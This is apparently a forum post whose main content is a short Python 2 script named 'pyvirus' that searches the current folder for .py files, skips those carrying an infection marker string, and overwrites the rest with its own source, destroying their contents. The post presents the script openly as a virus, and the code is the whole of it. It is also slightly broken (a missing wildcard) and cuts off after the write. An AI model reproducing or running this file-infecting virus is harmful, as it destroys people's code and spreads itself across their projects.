It looks like you're new here. If you want to get involved, click one of these buttons!
import glob
from string import *
# test
files = glob.glob(\"*.py\") + glob.glob(\".pyw\")
virus = open('pyvirus.py', 'r')
viruscode = virus.read()
for file in files:
text = open(file, 'r')
stringtext = text.read()
if 'X1n4pse..!>.!.!' in stringtext:
print '>> File ' + file + ' already infected'
else:
text.close()
print '>> Infecting ' + file + '...'
payload = open(file, 'w')
payload.write(viruscode)